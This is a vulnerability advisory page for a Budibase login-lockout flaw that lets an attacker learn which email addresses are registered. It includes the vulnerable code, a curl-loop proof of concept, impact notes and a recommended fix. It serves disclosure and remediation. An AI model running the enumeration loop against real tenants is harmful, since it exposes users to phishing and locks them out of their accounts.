Skip to content

GHSA-cr7p-cr3q-h5cm CVE-2026-73306

Budibase: Account Enumeration via Login Lockout Response Differential

Medium npm
Severity
5.3 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.44%
Chance of exploitation in the next 30 days. Higher than 38.08% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-204 Observable Response Discrepancy
Fix
None yet
No fixed version published

Description

Summary

The login lockout mechanism in Budibase creates an observable response discrepancy that allows unauthenticated attackers to enumerate valid email addresses. When an existing user's account is locked after 5 failed login attempts, the server returns a distinct 403 response with X-Account-Locked: 1 and Retry-After: 900 headers plus the message "Account temporarily locked." For non-existing users, the response is always a generic 403 "Unauthorized" regardless of attempt count, because the lockout counter is never incremented.

Details

The vulnerability exists in two files that implement the login lockout feature:

packages/worker/src/middleware/lockout.ts:18-36 — The lockout middleware only blocks requests for users that exist in the database AND are locked:

export default async (ctx: Ctx, next: Next) => {
  const email = ctx.request.body.username
  if (!email) {
    return await next()
  }
  const dbUser = await userSdk.db.getUserByEmail(email)
  if (dbUser && (await isLocked(email))) {  // line 26: non-existing users skip this entirely
    ctx.set("X-Account-Locked", "1")
    ctx.set("Retry-After", String(env.LOGIN_LOCKOUT_SECONDS))
    ctx.throw(403, "Account temporarily locked. Try again later.")
  }
  return await next()
}

packages/worker/src/api/controllers/global/auth.ts:127-141 — The login handler only increments the failure counter for existing users:

if (err || !user) {
  if (dbUser) {          // line 129: non-existing users never trigger onFailed()
    await onFailed(email)
  }
  if (await isLocked(email)) {
    return handleLockoutResponse(ctx, email)
  }
  // ...
  return passportCallback(ctx, user as any, err, info)
}

Execution flow for existing users (after 5 failed attempts):

  1. lockout middleware → getUserByEmail returns user → isLocked returns true → 403 + X-Account-Locked: 1 + Retry-After: 900 + "Account temporarily locked"

Execution flow for non-existing users (any number of attempts):

  1. lockout middleware → getUserByEmail returns null → dbUser && isLocked is false → passes through
  2. Login handler → passport fails → if (dbUser) is false → onFailed() never called → lock never set
  3. Always returns 403 "Unauthorized"

No IP-based rate limiting exists on the login endpoint (POST /api/global/auth/:tenantId/login). The route is registered via loggedInRoutes which applies no authentication middleware. The password reset endpoint has proper IP-based rate limiting, but the login endpoint does not.

PoC

# Test against a known-existing email and a non-existing email
# Replace 'default' with the target tenant ID

# Step 1: Send 6 login attempts for an existing user
echo "=== Testing existing user ==="
for i in $(seq 1 6); do
  echo "--- Attempt $i ---"
  curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"local@budibase.com","password":"wrongpassword"}' 2>&1 \
    | grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized'
  echo ""
done

# Expected: Attempts 1-5 return "Unauthorized"
# Attempt 6 returns: "Account temporarily locked" + X-Account-Locked: 1 + Retry-After: 900

# Step 2: Send 6 login attempts for a non-existing user
echo "=== Testing non-existing user ==="
for i in $(seq 1 6); do
  echo "--- Attempt $i ---"
  curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"nonexistent@example.com","password":"wrongpassword"}' 2>&1 \
    | grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized'
  echo ""
done

# Expected: All 6 attempts return "Unauthorized" — no lockout ever triggers

# The difference in behavior after 5 attempts confirms whether the email exists.

Impact

  • Account enumeration: An unauthenticated attacker can determine whether any email address is registered on a Budibase tenant by sending 5-6 login requests and observing whether the response changes to "Account temporarily locked" with the X-Account-Locked header.
  • No rate limiting: The login endpoint has no IP-based rate limiting, allowing an attacker to enumerate emails at high speed from a single IP address (~5 requests per email).
  • Denial of service side-effect: Each enumerated existing email is locked out for 15 minutes (900 seconds), preventing legitimate users from logging in during that window.
  • Enables further attacks: Confirmed valid emails can be used for targeted phishing, credential stuffing against other services, or social engineering.

Recommended Fix

The lockout behavior should be identical regardless of whether the user exists. Apply lockout tracking based on the email string itself, not conditioned on database user existence:

packages/worker/src/middleware/lockout.ts — Remove the dbUser check:

export default async (ctx: Ctx, next: Next) => {
  const email = ctx.request.body.username
  if (!email) {
    return await next()
  }
  // Check lock status based on email alone, not user existence
  if (await isLocked(email)) {
    ctx.set("X-Account-Locked", "1")
    ctx.set("Retry-After", String(env.LOGIN_LOCKOUT_SECONDS))
    ctx.throw(403, "Account temporarily locked. Try again later.")
  }
  return await next()
}

packages/worker/src/api/controllers/global/auth.ts — Remove the dbUser guard around onFailed:

if (err || !user) {
  // Always increment failure counter regardless of user existence
  await onFailed(email)
  if (await isLocked(email)) {
    return handleLockoutResponse(ctx, email)
  }
  // ...
}

Additionally, consider adding IP-based rate limiting to the login endpoint (similar to what already exists on the password reset endpoint) to limit enumeration throughput.

Affected versions

npm

PackageVulnerableFixed in
@budibase/server
<= 3.38.1
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 5.3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Weakness

CWE-204: Observable Response Discrepancy

The product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere.

How to prevent it
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-6x9p-4r67-5gjx
Budibase authenticated arbitrary S3 signed upload URL issuance via `/api/attachments/:datasourceId/url`
High Also affects @budibase/server
GHSA-5fpj-28rv-84r7
Budibase: SSRF in Automation Steps - Webhook, Zapier, N8N, Slack, Discord Bypass IP Blacklist
High Also affects @budibase/server
GHSA-hfhx-w8p8-4hc7
Budibase: SSRF via bare fetch() in uploadUrl during AI table generation
Medium Also affects @budibase/server
GHSA-v42f-v8xc-j435
Budibase: SSRF via DNS rebinding in the REST datasource integration
High Also affects @budibase/server
GHSA-pmpg-2mxq-6xwr
Budibase: NoSQL injection in MongoDB integration: collection dump, $where JS exec, cross-collection pivot, arbitrary update/delete
High Also affects @budibase/server
GHSA-pvcr-8mvp-w8qr
Budibase: Chat-Link Handoff Identity Confusion (Same-Tenant Account-Link CSRF)
High Also affects @budibase/server
GHSA-2xgg-r2wc-c5r2
Budibase: MySQL DESCRIBE Backtick Injection via multipleStatements in Database Connector
High Also affects @budibase/server
GHSA-qw6m-8fw2-2v64
Budibase: NoSQL Injection via JSON Parameter Interpolation in MongoDB Query Execution
High Also affects @budibase/server
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor